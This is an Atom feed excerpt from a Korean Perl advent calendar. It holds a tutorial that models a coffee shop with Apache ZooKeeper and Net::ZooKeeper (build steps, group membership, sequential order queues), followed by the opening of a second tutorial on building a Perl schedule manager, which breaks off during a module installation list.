Seoul.pm Perl Advent Calendarhttp://advent.perl.kr/2012/2013-05-06T03:23:15+09:00Hojung YounXML::Atom::SimpleFeed요즘은 ZooKeeper로 커피숍을 차리더라http://advent.perl.kr/2012/2012-12-24.html<h2>저자</h2>
<p><a href="https://twitter.com/saillinux">@saillinux</a> -
마음씨 좋은 외국인 노동자,
한국에 와서 비즈스프링에서 웹개발자 및 시스템 운영자로,
야후 코리아에서 프로덕션 옵스 및 엔지니어로,
블리자드 엔터테인먼트에서 시스템 운영자로,
현재 페이스북에서 옵 엔지니어로 재직 중이다.
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자,
Perl로 MMORPG를 만들어보겠다는 꿈을 갖고 있지만
요즘은 현실과 타협해 시스템 트레이딩에 푹 빠져있는 Perl덕후,
건강을 최고의 신조로 여기고 있다.</p>
<h2>주키퍼란?</h2>
<p>주키퍼는 분산 코디네이터 서비스를 제공하는 아파치 오픈소스 프로젝트입니다.
분산 환경에는 락, 네이밍 서비스, 클러스터 멤버십 등을
쉽게 구현할 수 있는 기능이 제공되어야 합니다.</p>
<p>분산 환경에서는 다양한 운영 상황이나 예상치 못한 장애가 발생하는 것 등의 원인으로
복잡한 문제가 발생하게 되는데,
분산된 애플리케이션 서버 사이의 자원 경합, 락 잠금/해제 등이 있습니다.
주키퍼는 이러한 문제들을 쉽게 해결해주는 역할을 합니다.
대표적인 이용 사례는 다음과 같습니다.</p>
<ul>
<li>네임 서비스, 환경 설정, 그룹 멤버쉽</li>
<li>이중 배리어</li>
<li>우선 순위 큐</li>
<li>공유 락 제어</li>
<li>두 단계 커밋</li>
<li>리더 선출</li>
</ul>
<p>주키퍼가 실제로 이런 기능을 제공한다기 보다는 기능을 쉽게 구현할 수
있는 메커니즘을 제공한다고 할 수 있습니다.
이런 고급 기능을 분산 환경 서비스를 구축하는 것에만 쓰기에는 너무 쓸쓸하지 않나 싶습니다.
그래서 주키퍼로 커피숍을 차려보도록 하겠습니다.</p>
<h2>주키퍼로 커피숍을 꾸려봅시다</h2>
<p>제가 현재 유일하게 즐기는게 있다면 그것은 Philz Coffee입니다.
다양한 종류의 커피를 직접 눈앞에서 내려주기 때문에 눈요기도 되고
신뢰해서 마실 수 있는 곳이죠(물론 점원 누나가 이뻐서가 아니랍니다).
무엇보다 크림과 흑설탕을 듬뿍 넣어주는게 일품입니다.
커피를 마시다가 문득 발견한 문구가 있습니다.</p>
<p><img src="2012-12-24-1_r.png" alt="one cup at a time" id="onecupatatime" />
<em>그림 1.</em> one cup at a time (<a href="2012-12-24-1.png">원본</a>)</p>
<p>아아 과연 아마도 Philz Coffee의 창시자는 분명 분산 환경 시스템을
구축하던 개발자였을 것입니다. 한번에 한잔씩이라니 경쟁 상태(race condition)로 인해
말도 못할 고생을 하지 않았다면 사용할 수 없는 문구입니다.
아마도 다음으로 내린 커피는 잠금 경합 상태에 자유로운 커피일지도
모르겠네요.</p>
<p>Philz Coffee을 경외하는 마음을 담아 주키퍼를 이용한 나만의
자그마한 꿈의 커피숍을 만들어 보겠습니다.</p>
<h2>주키퍼 설치하기</h2>
<p>본문의 코드는 아쉽게도 Windows와 Mac에서 동작하지 않았습니다.
리눅스에서 구현된 것임을 사전에 양해드립니다.</p>
<p>펄에서 주키퍼를 사용하기 위해서는
<a href="https://www.metacpan.org/module/Net::ZooKeeper">Net::ZooKeeper</a>를 사용합니다.
CPAN을 이용한 설치하는 대신 직접 소스를 받아 설치하도록 하겠습니다.
본문을 작성할 때 사용한 주키퍼는 <a href="http://www.carfab.com/apachesoftware/zookeeper/zookeeper-3.4.5/zookeeper-3.4.5.tar.gz">3.4.5 stable 버전</a>입니다.
<a href="https://www.metacpan.org/module/Net::ZooKeeper">Net::ZooKeeper</a> 모듈은 주키퍼의 C API를 이용하여 만든 바인딩이기 때문에
C API를 먼저 설치해줍니다.</p>
<pre class="brush: bash;">
$ tar xzf zookeeper-3.4.5.tar.gz
$ cd zookeeper-3.4.5/src/c/
$ ./configure
$ make; sudo make install
</pre>
<p>예제와 같이 입력하면 <code>/usr/local</code>에 설치됩니다.
설치가 완료된 후 실제 Net::ZooKeeper 펄 모듈을 설치합니다.
모듈은 내려받은 <code>zookeeper</code> 소스에 같이 포함되어 있습니다.
주기퍼 C API의 헤더와 라이브러리가 설치된 곳을 인자로 주어 설치합니다.</p>
<pre class="brush: bash;">
$ cd zookeeper-3.4.5/contrib/zkperl
$ perl Makefile.PL \
--zookeeper-include=/usr/local/include/zookeeper \
--zookeeper-lib=/usr/local/lib
$ make; sudo make install
</pre>
<p>주키퍼 자체는 자바로 작성된 프로그램이기 때문에
JDK가 설치되어 있으면 아래의 명령어로 실행할 수 있습니다.
실행 전에 설정 파일을 만들어줍니다.</p>
<pre class="brush: bash;">
$ cd zookeeper-3.4.5/conf
$ cp zoo_sample.cfg zoo.cfg
$ cd zookeeper-3.4.5/bin
$ ./zkServer.sh start
</pre>
<p>이렇게 실행하면 localhost 호스트에 2181 포트로 서비스가 실행됩니다.
그러면 아래 명령으로 주키퍼 인터페이스에 붙을 수 있습니다.</p>
<pre class="brush: bash;">
$ ./zkCli.sh
</pre>
<h2>주키퍼의 데이터 모델</h2>
<p>주키퍼는 서버에 모든 데이터가 저장되면 클라이언트가 서버에 접속하여
노드를 생성/접근하는 것으로 메타 데이터를 공유합니다.</p>
<p>주키퍼는 파일시스템과 비슷한 계층적인 네임스페이스를 제공합니다.
파일시스템은 파일에만 데이터를 저장할 수 있지만 주키퍼에서는 모든
노드에 데이터를 저장할 수 있습니다. 그리고 파일시스템은 로컬에 저장되어 있거나
마운트하여 사용하지만 주키퍼는 클라이언트 라이브러리를 이용하여
네임스페이스에 대한 조회를 원격 클라이언트에서 할 수 있습니다.</p>
<p><img src="2012-12-24-3_r.png" alt="Data Model" id="datamodel" />
<em>그림 2.</em> Data Model (<a href="2012-12-24-3.png">원본</a>)</p>
<ul>
<li><p>경로:
주키퍼에서 노드를 구분하는 식별자는 파일시스템과 동일하게 <code>/</code>입니다.</p></li>
<li><p>Z노드:
네임스페이스의 각 노드를 Z노드라고 부릅니다. 즉, <code>/</code>, <code>/node1</code>,
<code>/node1/config</code> 등을 Z노드라고 부릅니다.</p></li>
</ul>
<p>보통 작은 데이터를 위주로 다양한 정보를 저장합니다. 서버의
상태, 락 정보, 환경 설정과 같은 메타 데이터를 보관합니다. 그 외
버전이나 ACL 관련 정보도 관리합니다.
본문에서는 주키퍼의 프레임워크를 이용하여
클러스터 멤버십 및 네이밍 서비스와 큐를 구현하여 커피숍을 꾸려보겠습니다.</p>
<h2>클러스터 멤버십과 네이밍 서비스</h2>
<p>먼저 클러스터 멤버십과 네이밍 서비스에 대해 먼저 알아보겠습니다.
클러스터 멤버십 혹은 그룹 멤버십은 동일한 기능을 수행하는 서버군이나 서비스를 목록으로 유지하며 새로 추가되거나 점검/장애 등으로 제거되는 서버/서비스도 목록에서 제거하는 서비스를 말합니다.
분산 시스템에서 필수 항목이며 장애 등으로 서버가 제거되었을 때 관리자에게 적절하게 보고하는 장애 대응을 조정합니다.</p>
<p><img src="2012-12-24-4_r.png" alt="주키퍼를 이용한 클러스터 멤버십" id="" />
<em>그림 3.</em> 주키퍼를 이용한 클러스터 멤버십 (<a href="2012-12-24-4.png">원본</a>)</p>
<p>어플리케이션 서버에 접속해야 하는 클라이언트는 주키퍼에서
정한 디렉토리에서 서버 목록을 받거나 노드 삭제 등의 이벤트를 받아 그에
해당하는 작업을 할 수 있습니다.
어플리케이션 서버에 장애가 발생하거나 네트워크 단절이 일어나면 주키퍼 서버에서
세션 타임아웃을 발행하여 해당 노드를 삭제하면 멤버십 목록에서 제거됩니다.</p>
<h2>클러스터 멤버십과 큐를 위한 준비</h2>
<p>Philz Coffee에서는 먼저 바리스타한테 직접 가서 추천을 받거나 주문합니다.
커피 값을 지불하는 것은 나중인 거죠. 즉, 먼저 만들어 준 것을 마셔보고 "죽이네~" 싶으면 돈을 내는 것입니다.</p>
<p><img src="2012-12-24-2_r.png" alt="Philz Coffee" id="philzcoffee" />
<em>그림 4.</em> Philz Coffee (<a href="2012-12-24-2.png">원본</a>)</p>
<p>분산 시스템에서의 기능 분담(Distributed Coordination)을 위해 클러스터 멤버십과 큐를 적절하게 사용해야 합니다.
여기서는 Philz Coffee의 업무 구조에 맞게 노드를 구성하고 구현한 코드를 보면서 설명해 나가도록 하겠습니다.
먼저 아래와 같이 주키퍼를 초기화하고 클러스터 멤버십과 큐를 준비합니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use strict;
use warnings;
use Net::ZooKeeper qw(:node_flags :acls);
use POSIX qw(:sys_wait_h);
use Time::HiRes qw(sleep);
use Sys::Hostname;
use constant ZK_SESSION_TIMEOUT => 10 * 1000;
use constant ZK_SERVERS => "localhost:2181";
use constant BARISTA_GROUP => '/barista_group';
my $zkh = Net::ZooKeeper->new(ZK_SERVERS,
'session_timeout' => ZK_SESSION_TIMEOUT) or die "$!";
print "creating barista name services\n";
unless ($zkh->exists(BARISTA_GROUP)) {
$zkh->create(BARISTA_GROUP, 0, "acl" => ZOO_OPEN_ACL_UNSAFE)
or die "failed to create a node\n";
}
print "creating coffee order queues\n";
unless ($zkh->exists("/orders")) {
$zkh->create("/orders", 0, "acl" => ZOO_OPEN_ACL_UNSAFE)
or die "failed to create a node\n";
}
</pre>
<p>맨처음 우리가 해야하는 일은 주키퍼 서버에 접속하는 것입니다.
주키퍼 클라이언트를 생성하여 서버 주소 및 세션 타임아웃을 정하고 접속합니다.
그렇게 해서 생성된 <code>$zhk</code> 핸들러를 이용하여 주키퍼 서버 메모리에 저장된 노드를 접근하고 생성합니다.
이 때 <code>/barista_group</code>이라는 노드가 존재하지 않으면 생성하여 그룹 멤버십 관리를 하고 있습니다.</p>
<pre class="brush: perl;">
$zkh->create(BARISTA_GROUP, 0, "acl" => ZOO_OPEN_ACL_UNSAFE)
</pre>
<p>첫번째 인자로 노드 혹은 경로를 전달하여 <code>create()</code> 메소드를 호출합니다.
두번째 인자는 데이터인데 여기서는 그룹 등록을 위한 디렉토리 생성이기 때문에
데이터를 임의 값인 <code>0</code>으로 했습니다.
세번째는 ACL인데 해당 노드에 대한 접근 권한입니다.
여기서는 물론 모든 접근을 허용합니다.</p>
<p>바리스타가 늘어나거나 떠나면 이 노드에 추가하거나 삭제할 것입니다.
상세한 내용은 바리스타 섹션에서 다루겠습니다.</p>
<pre class="brush: perl;">
$zkh->create("/orders", 0, "acl" => ZOO_OPEN_ACL_UNSAFE)
</pre>
<p>추가로 <code>/orders</code>라는 큐를 관리하는 노드를 생성하였습니다.
각 바리스타가 주문을 받을 수 있는 보관함이라고 볼 수 있습니다.</p>
<h2>바리스타</h2>
<p>Philz Coffee에서 서빙을 담당하는 바리스타를 서비스로 간주하겠습니다.
각각 바리스타를 그룹 멤버십에 등록하면
커피를 마시러 온 고객들이 <code>/barista_group</code> 노드에 등록된 바리스타 목록을
참조하여 서비스에 있는 바리스타에게 커피를 주문합니다.</p>
<p>여기서는 세명의 바리스타 프로세스를 생성하여 서비스에 임명합니다.
생성된 프로세스는 주키퍼 클라이언트를 생성하여 서버에 접속합니다.
접속 후 자신을 <code>/barista_group</code>의 하위 디렉토리에 노드를 생성하는 것으로 자신을 서비스에 등록합니다.</p>
<p><code>/barista_group/{$host}_{$pid}</code> 형식으로 노드를 생성합니다.
바리스타가 해당 스크립트가 실행되는 서버 이외에도
프로세스를 생성하여 서비스할 수 있음을 강조하기 위해 노드 이름에 호스트 이름을
포함했습니다.</p>
<p>여기서 주위할 점은 바리스타 노드 생성 시 <code>flag</code> 프로퍼티에
<code>ZOO_EPHEMERAL</code> 값을 준 것입니다. <code>EPHEMERAL</code> 값으로 노드를 생성하면
클라이언트가 서버에 세션을 가지는 동안에만 노드가 존재하게 됩니다.
즉, 클라이언트가 접속을 끊으면 해당 노드가 <code>/barista_group</code>에서 지워지게 됩니다.</p>
<p><code>EPHEMERAL</code>로 얻는 이점은 바리스타 프로세스가 죽거나 바리스타가 서비스하는
서버의 네트워크가 단절되면 클라이언트의 세션 타임아웃 값에 기반해 세션이 만료되고 자동으로 서비스에서 지워진다는 점입니다.
단절된 바리스타를 목록에서 지움으로써 고객이 부재중인 바리스타를 찾지 않게 됩니다.
주의해야 할 점은 <code>EPHEMERAL</code>로 생성된 노드는 하위 디렉토리를 가지지 못한다는 것입니다.</p>
<p>DNS를 이용하여 서버를 관리하면 서버에 문제가 있을 때 해당 도메인이
캐시에서 삭제될 때까지 장애가 계속 발생하거나 관리자가 수동으로
제거해야 하는 부담이 있지만 주키퍼는 이런 부분을 자동으로 해결해 줍니다.
이 부분에 대해서는 고객 섹션에서 더 자세히 알아보도록 하겠습니다.</p>
<pre class="brush: perl;">
foreach (1..3) {
my $pid = fork();
if ($pid) {
print "Barista $pid is ready to serve at philz coffee\n";
} else {
my $host = hostname;
my $zkh = Net::ZooKeeper->new(ZK_SERVERS, 'session_timeout' => ZK_SESSION_TIMEOUT);
my $name = $host . "_$$";
my $order_watch = $zkh->watch('timeout' => 10000);
$zkh->create(BARISTA_GROUP . "/" . $name, 0,
flags => ZOO_EPHEMERAL, 'acl' => ZOO_OPEN_ACL_UNSAFE);
$zkh->create("/orders/" . $name, 0, 'acl' => ZOO_OPEN_ACL_UNSAFE);
while (1) {
my @orders = $zkh->get_children("/orders/$name", 'watch' => $order_watch);
unless (@orders) {
next if ($order_watch->wait());
die "barista: I haven't received any order from me. I am leaving T_T";
}
foreach my $order (@orders) {
my $coffee = $zkh->get("/orders/$name/$order");
print "barista: I am making $coffee for you~\n";
sleep 2;
$zkh->delete("/orders/$name/$order");
}
}
}
}
</pre>
<p>멤버십 등록이 완료되면 <code>/orders</code> 큐 노드에 자신의 버켓을 등록합니다.
고객은 해당 바리스타에게 주문을 할 때 <code>/orders/{$host}_{$pid}</code> 노드에 주문을 생성합니다.</p>
<p>언제 주문이 들어왔는지 알기 위해 watch 객체를 생성해 등록합니다.
watch는 해당 노드에 이벤트가 발생하면 클라이언트에게 알리기(notify)위한 것입니다.
주키퍼의 이벤트 핸들러에 대한 문서를 참고해주세요.</p>
<p>해당 버켓에 주문이 있는지 먼저 <code>get_children()</code>을 호출하여 주문을 가져옵니다.
호출 시 watch를 등록하였고 주문이 없으면 watch의 <code>wait()</code> 메소드를 호출하여 해당 노드에 이벤트가 있을 때까지
대기합니다(blocking 모드로 이전됩니다).</p>
<p>주문이 있는 것이 확인되면 <code>@orders</code> 배열에 주문 노드 경로를 저장하여
각 경로를 <code>get()</code> 메소드 인자로 호출하면 데이터를 받을 수 있습니다.
여기서 데이터는 커피 이름입니다. 주문이 무엇이었는지 확인하면 주문 노드를
삭제하여 커피 생성이 완료된 것을 알립니다.</p>
<h2>고객</h2>
<p>커피를 찾는 고객이 없으면 바리스타는 단순히 커피 매니아일 뿐입니다.
그래서 고객을 생성해 보도록 하겠습니다.</p>
<p>고객님이 Philz Coffee를 방문하면 맨처음 바리스타를 찾아야 합니다.
주키퍼 서버에 등록된 바리스타 중 한 명에게 다가가서 주문을 합니다.</p>
<pre class="brush: perl;">
my @baristas = $zkh->get_children(BARISTA_GROUP);
my $barista_name = $baristas[int(rand(@baristas))];
</pre>
<p>여기서는 <code>get_children()</code>을 호출하여 모든 바리스타 노드를
<code>/barista_group</code>에서 가져옵니다. 그 중에 한명을 랜덤으로 선택하는거죠.
즉, 인기가 많은 바리스타는 괴롭습니다. '-'] ㅎㅎ</p>
<p>이쯤에서 그룹 멤버십의 이점을 느끼셨을 거라 믿습니다.
마지막으로 다시 정리하자면 아래와 같습니다.</p>
<ul>
<li>바리스타 추가/삭제 시 별도의 작업이 필요 없습니다.
<code>get_children()</code> 호출 시 이미 바리스타 목록이 다시 생성되었을 겁니다.</li>
<li>일부 바리스타가 장애를 일으켰을 때 주키퍼 서버에서 상황을 바로 확인할 수 있습니다.</li>
</ul>
<p>코드는 아래와 같습니다.</p>
<pre class="brush: perl;">
foreach (1..6) {
my $pid = fork();
if ($pid) {
print "Customer $pid entered philz coffee\n";
} else {
my $zkh = Net::ZooKeeper->new(ZK_SERVERS, 'session_timeout' => ZK_SESSION_TIMEOUT);
while (1) {
my @baristas = $zkh->get_children(BARISTA_GROUP);
my $barista_name = $baristas[int(rand(@baristas))];
my $order_watch = $zkh->watch('timeout' => 10000);
print "customer: my barista is [$barista_name]\n";
my @coffees = qw/tesora swisswater jacob sogood/;
my $coffee = $coffees[int(rand(@coffees))];
my $order = $zkh->create("/orders/$barista_name/coffee", $coffee,
'flags'=>ZOO_SEQUENCE, 'acl'=>ZOO_OPEN_ACL_UNSAFE) or die "Couldn't create a order node";
print "customer: I ordered $coffee from $barista_name\n";
if ($zkh->exists($order, 'watch' => $order_watch)) {
if ($order_watch->wait()) {
die "customer: I got my $coffee and I can die now in rest '-']/";
} else {
die "customer: Ahhh I waited for my coffee too long and died!! T_T";
}
}
}
}
}
</pre>
<p>커피를 랜덤으로 선택하여 주문 노드를 <code>/orders/{$barista_name}</code>에 생성합니다.
여기서 주위깊게 보셔야 할 부분은 <code>flags</code>에 <code>ZOO_SEQUENCE</code> 옵션을 주었다는 것입니다.
이때 접두사는 <code>coffee</code>인데 이렇게 해서 생성된 노드의 이름은 아래와 같습니다.</p>
<ul>
<li><code>/orders/{$barista_name}/coffee0000000000</code></li>
<li><code>/orders/{$barista_name}/coffee0000000001</code></li>
</ul>
<p>이렇게 노드 이름에 생성 순서대로 일련의 순서(sequence)를 할당합니다.
이름을 정렬하여 순서대로 주문을 처리할 수 있습니다. 본문에서의 바리스타는
상당히 편파적이기 때문에 순서에 상관없이 기분내키는 대로 커피를 타드립니다.</p>
<pre class="brush: perl;">
my $order = $zkh->create("/orders/$barista_name/coffee", $coffee,
'flags'=>ZOO_SEQUENCE, 'acl'=>ZOO_OPEN_ACL_UNSAFE)
</pre>
<p>주문이 완료되었는지 알기위해 <code>order_watch</code>를 타임아웃 10초로 생성하였고,
<code>wait()</code>을 호출해 이벤트를 기다립니다. 커피가 10초 이내로 완성되면 기쁜 마음으로 죽습니다.
10초가 지나면 기다리다 지쳐 죽도록 설정하였습니다(커피를 사랑하는 마음을 가지면 이정도는 되어야합니다).
즉 watch에 타임아웃을 주면 이벤트를 10초 이상 기다리지 않고 blocking 상태에서 해제되어 이후 로직을 수행할 수 있습니다.</p>
<h2>정리하며</h2>
<p>대세는 주키퍼라고 회사에서 갈굽니다.
새로운 건 배우기 귀찮고..
어떻게 하나요. 이럴 때에는 재밌게 배우는 게 최고입니다.
그래서 무리하게 커피숍을 모델로 주키퍼를 선보여 드렸지만 부끄럽기 그지 없습니다.</p>
<p>그래도 주키퍼에 익숙해지니 전에 보이지 않았던 장점이 보이기 시작했고
다음 프로젝트에 어떻게 적용해야 할 지 정리가 많이 되었습니다.</p>
<p>주키퍼를 분산 코디네이터로만 사용하여 서버 관리 뿐만 아니라 이렇게
분산 관리가 필요한 커피숍에 적용하는것도 나쁘지 않아 보입니다.
환경 설정을 주키퍼 서버에 저장하여 이를 가져다 여러 커피숍을 만들 수도 있고
매니저 프로세서를 추가하여 바리스타 및 고객 관리를 할 수도 있어 보입니다.
심지어 모든 커피숍의 주문을 중앙 집중적으로 관리할 수도 있어 매출 관리도 주키퍼로 가능해 보이네요.</p>
<p>즉, 정리하면 지금 까지 고수해 왔던 프로그램을 한 서버에 하나의 프로세스로 구축하기 보다는
좀 더 자유롭게 여러 곳에 분산 하여 쉽게 디자인 할 수 있어 기존에 느꼈던 한계에서 상당히 벗어난 것 같습니다.</p>
<p>AnyEvent를 이용하여 비동기적으로 주키퍼를 사용 하는것이 저의 다음 목표입니다.
이렇게 부족한 글 여기까지 읽어주셔서 모두 감사 드립니다.</p>
<h2>전체코드</h2>
<p>아래는 본문의 전체 코드입니다.</p>
<pre class="brush: perl;">
use strict;
use warnings;
use Net::ZooKeeper qw(:node_flags :acls);
use POSIX qw(:sys_wait_h);
use Time::HiRes qw(sleep);
use Sys::Hostname;
use constant ZK_SESSION_TIMEOUT => 10 * 1000;
use constant ZK_SERVERS => "localhost:2181";
use constant BARISTA_GROUP => '/barista_group';
my $zkh = Net::ZooKeeper->new(ZK_SERVERS,
'session_timeout' => ZK_SESSION_TIMEOUT) or die "$!";
print "creating barista name services\n";
unless ($zkh->exists(BARISTA_GROUP)) {
$zkh->create(BARISTA_GROUP, 0, "acl" => ZOO_OPEN_ACL_UNSAFE)
or die "failed to create a node\n";
}
print "creating coffee order queues\n";
unless ($zkh->exists("/orders")) {
$zkh->create("/orders", 0, "acl" => ZOO_OPEN_ACL_UNSAFE)
or die "failed to create a node\n";
}
foreach (1..3) {
my $pid = fork();
if ($pid) {
print "Barista $pid is ready to serve at philz coffee\n";
} else {
my $host = hostname;
my $zkh = Net::ZooKeeper->new(ZK_SERVERS, 'session_timeout' => ZK_SESSION_TIMEOUT);
my $name = $host . "_$$";
my $order_watch = $zkh->watch('timeout' => 10000);
$zkh->create(BARISTA_GROUP . "/" . $name, 0,
flags => ZOO_EPHEMERAL, 'acl' => ZOO_OPEN_ACL_UNSAFE);
$zkh->create("/orders/" . $name, 0, 'acl' => ZOO_OPEN_ACL_UNSAFE);
while (1) {
my @orders = $zkh->get_children("/orders/$name", 'watch' => $order_watch);
unless (@orders) {
next if ($order_watch->wait());
die "barista: I haven't received any order from me. I am leaving T_T";
}
foreach my $order (@orders) {
my $coffee = $zkh->get("/orders/$name/$order");
print "barista: I am making $coffee for you~\n";
sleep 2;
$zkh->delete("/orders/$name/$order");
}
}
}
}
foreach (1..6) {
my $pid = fork();
if ($pid) {
print "Customer $pid entered philz coffee\n";
} else {
my $zkh = Net::ZooKeeper->new(ZK_SERVERS, 'session_timeout' => ZK_SESSION_TIMEOUT);
while (1) {
my @baristas = $zkh->get_children(BARISTA_GROUP);
my $barista_name = $baristas[int(rand(@baristas))];
my $order_watch = $zkh->watch('timeout' => 10000);
print "customer: my barista is [$barista_name]\n";
my @coffees = qw/tesora swisswater jacob sogood/;
my $coffee = $coffees[int(rand(@coffees))];
my $order = $zkh->create("/orders/$barista_name/coffee", $coffee,
'flags'=>ZOO_SEQUENCE, 'acl'=>ZOO_OPEN_ACL_UNSAFE) or die "Couldn't create a order node";
print "customer: I ordered $coffee from $barista_name\n";
if ($zkh->exists($order, 'watch' => $order_watch)) {
if ($order_watch->wait()) {
die "customer: I got my $coffee and I can die now in rest '-']/";
} else {
die "customer: Ahhh I waited my coffee too long and died!! T_T";
}
}
}
}
}
</pre>
<h3>참고자료</h3>
<ul>
<li><a href="http://zookeeper.apache.org/doc/r3.4.5/">주키퍼 3.4 문서</a></li>
<li><a href="https://www.metacpan.org/module/Net::ZooKeeper">Net::ZooKeeper</a></li>
</ul>
2012-12-24T00:00:00+09:00saillinux흔한 개발 이야기http://advent.perl.kr/2012/2012-12-23.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>펄로 개발하는 일은 무척 신선한 경험입니다.
전형적인 컴파일 언어로 개발하다가 펄을 만나게 되었을 때의 그 짜릿함이란!
(잘 모르는) 많은 사람들의 우려와 달리 펄은 모듈화하기가 매우 쉬우며,
큰 규모의 프로그램을 작성하기에 적합한 구조를 가지고 있습니다.
하지만 많은 분들은 여전히 펄을 원라이너나 짧은 스크립트 정도로만
쓰고 있거나, 또는 그것이 펄의 전부라고 믿곤 합니다.
오늘은 짧지만 전형적인 개발 절차를 밟는 과정을 살짝 보여드릴까합니다.
그야말로 흔한 개발 이야기죠. :)</p>
<p>이것 저것 너무 깊진 않아도 여러 분야를 아우르지만,
구색도 갖추려면 무엇이 적당할까요?
역시 모듈화도 해야할테고, 객체지향으로 작성하는 편이 낫겠죠?
모듈로 만들었으니 패키징도 해야할테고,
모듈을 사용하는 명령줄 스크립트는 보너스로 넣고,
자료를 다룬다면 데이터베이스를 사용해야겠죠.
또 이것을 웹과 연동하면서 모바일 환경에서도 사용하는 정도면 어떨까요?
기왕이면 모듈에 문제가 있어서 그대로 사용하기에는 애로사항이 있으면 더할나위 없겠군요.
자, 지금부터 간단한 일정 관리 도구를 만들어 봅시다.</p>
<h2>주의</h2>
<p>일련의 과정을 보여드리는 것이 목적인만큼 각 단계에 대한 자세한 설명은
소개하는 모듈과 라이브러리의 공식 문서를 참조해주세요. :)</p>
<h2>준비물</h2>
<p>데비안 계열의 운영체제를 사용하고 있다면 SQLite 개발 관련 패키지를 설치합니다.
MySQL이나 PostgreSQL처럼 다른 데이터베이스를 사용한다면 그에 적절한 패키지를 설치합니다.</p>
<pre class="brush: bash;">
# SQLite
$ sudo apt-get install libsqlite3-dev
# MySQL
$ sudo apt-get install libmysqlclient-dev
# PostgreSQL
$ sudo apt-get install postgresql-server-dev-all
</pre>
<p>모듈화 및 객체지향 프로그래밍에 필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/module/Moo">CPAN의 Moo 모듈</a></li>
<li><a href="https://metacpan.org/module/MooX::Options">CPAN의 MooX::Options 모듈</a></li>
<li><a href="https://metacpan.org/module/MooX::Types::MooseLike::Base">CPAN의 MooX::Types::MooseLike::Base 모듈</a></li>
<li><a href="https://metacpan.org/module/namespace::clean">CPAN의 namespace::clean 모듈</a></li>
</ul>
<p>데이터베이스 접근을 위해 사용한 모듈은 다음과 같습니다.
SQLite대신 MySQL이나 PostgreSQL을 사용한다면
<a href="https://metacpan.org/module/DBD::mysql">CPAN의 DBD::mysql 모듈</a>이나
<a href="https://metacpan.org/module/DBD::Pg">CPAN의 DBD::Pg 모듈</a>을 설치합니다.</p>
<ul>
<li><a href="https://metacpan.org/module/DBD::SQLite">CPAN의 DBD::SQLite 모듈</a></li>
<li><a href="https://metacpan.org/module/DBIx::Lite">CPAN의 DBIx::Lite 모듈</a></li>
</ul>
<p>패키징에 필요한 모듈은 다음과 같습니다.
무언가 엄청나게 많은 것을 설치하는 것 같지만 걱정하지 마세요.
거의 대부분의 일은 <a href="https://metacpan.org/module/Dist::Zilla">Dist::Zilla</a>가 자동으로 처리해줍니다.
여러분이 해야할 일은 모듈을 설치하고 설정파일을 만드는 일이죠.</p>
<ul>
<li><a href="https://metacpan.org/module/Dist::Zilla">CPAN의 Dist::Zilla 모듈</a></li>
<li><a href="https://metacpan.org/module/Dist::Zilla::Plugin::AutoPrereqs">CPAN의 Dist::Zilla::Plugin::AutoPrereqs 모듈</a></li>
<li><a href="https://metacpan.org/module/Dist::Zilla::Plugin::FakeRelease">CPAN의 Dist::Zilla::Plugin::FakeRelease 모듈</a></li>
<li><a href="https://metacpan.org/module/Dist::Zilla::Plugin::InstallGuide">CPAN의 Dist::Zilla::Plugin::InstallGuide 모듈</a></li>
<li><a href="https://metacpan.org/module/Dist::Zilla::Plugin::MetaResources">CPAN의 Dist::Zilla::Plugin::MetaResources 모듈</a></li>
<li><a href="https://metacpan.org/module/Dist::Zilla::Plugin::PkgVersion">CPAN의 Dist::Zilla::Plugin::PkgVersion 모듈</a></li>
<li><a href="https://metacpan.org/module/Dist::Zilla::Plugin::PodCoverageTests">CPAN의 Dist::Zilla::Plugin::PodCoverageTests 모듈</a></li>
<li><a href="https://metacpan.org/module/Dist::Zilla::Plugin::PodSyntaxTests">CPAN의 Dist::Zilla::Plugin::PodSyntaxTests 모듈</a></li>
<li><a href="https://metacpan.org/module/Dist::Zilla::Plugin::PodWeaver">CPAN의 Dist::Zilla::Plugin::PodWeaver 모듈</a></li>
<li><a href="https://metacpan.org/module/Dist::Zilla::Plugin::Prereqs">CPAN의 Dist::Zilla::Plugin::Prereqs 모듈</a></li>
<li><a href="https://metacpan.org/module/Dist::Zilla::Plugin::ReadmeMarkdownFromPod">CPAN의 Dist::Zilla::Plugin::ReadmeMarkdownFromPod 모듈</a></li>
<li><a href="https://metacpan.org/module/Dist::Zilla::PluginBundle::Basic">CPAN의 Dist::Zilla::PluginBundle::Basic 모듈</a></li>
<li><a href="https://metacpan.org/module/Dist::Zilla::PluginBundle::Filter">CPAN의 Dist::Zilla::PluginBundle::Filter 모듈</a></li>
<li><a href="https://metacpan.org/module/Pod::Weaver::PluginBundle::KEEDI">CPAN의 Pod::Weaver::PluginBundle::KEEDI 모듈</a></li>
</ul>
<p>웹앱 작성을 위해 사용한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/module/Mojolicious">CPAN의 Mojolicious 모듈</a></li>
<li><a href="https://metacpan.org/module/Mojolicious::Plugin::HamlRenderer">CPAN의 Mojolicious::Plugin::HamlRenderer 모듈</a></li>
</ul>
<p>추가로 더 설치해야 하는 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/module/File::HomeDir">CPAN의 File::HomeDir 모듈</a></li>
</ul>
<p>사용하고는 있지만 코어 모듈인 관계로 설치하지 않아도 되는 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/module/Encode">CPAN의 Encode 모듈</a></li>
<li><a href="https://metacpan.org/module/ExtUtils::MakeMaker">CPAN의 ExtUtils::MakeMaker 모듈</a></li>
<li><a href="https://metacpan.org/module/File::Spec">CPAN의 File::Spec 모듈</a></li>
<li><a href="https://metacpan.org/module/Time::Piece">CPAN의 Time::Piece 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan \
DBIx::Lite \
Dist::Zilla \
Dist::Zilla::Plugin::AutoPrereqs \
Dist::Zilla::Plugin::FakeRelease \
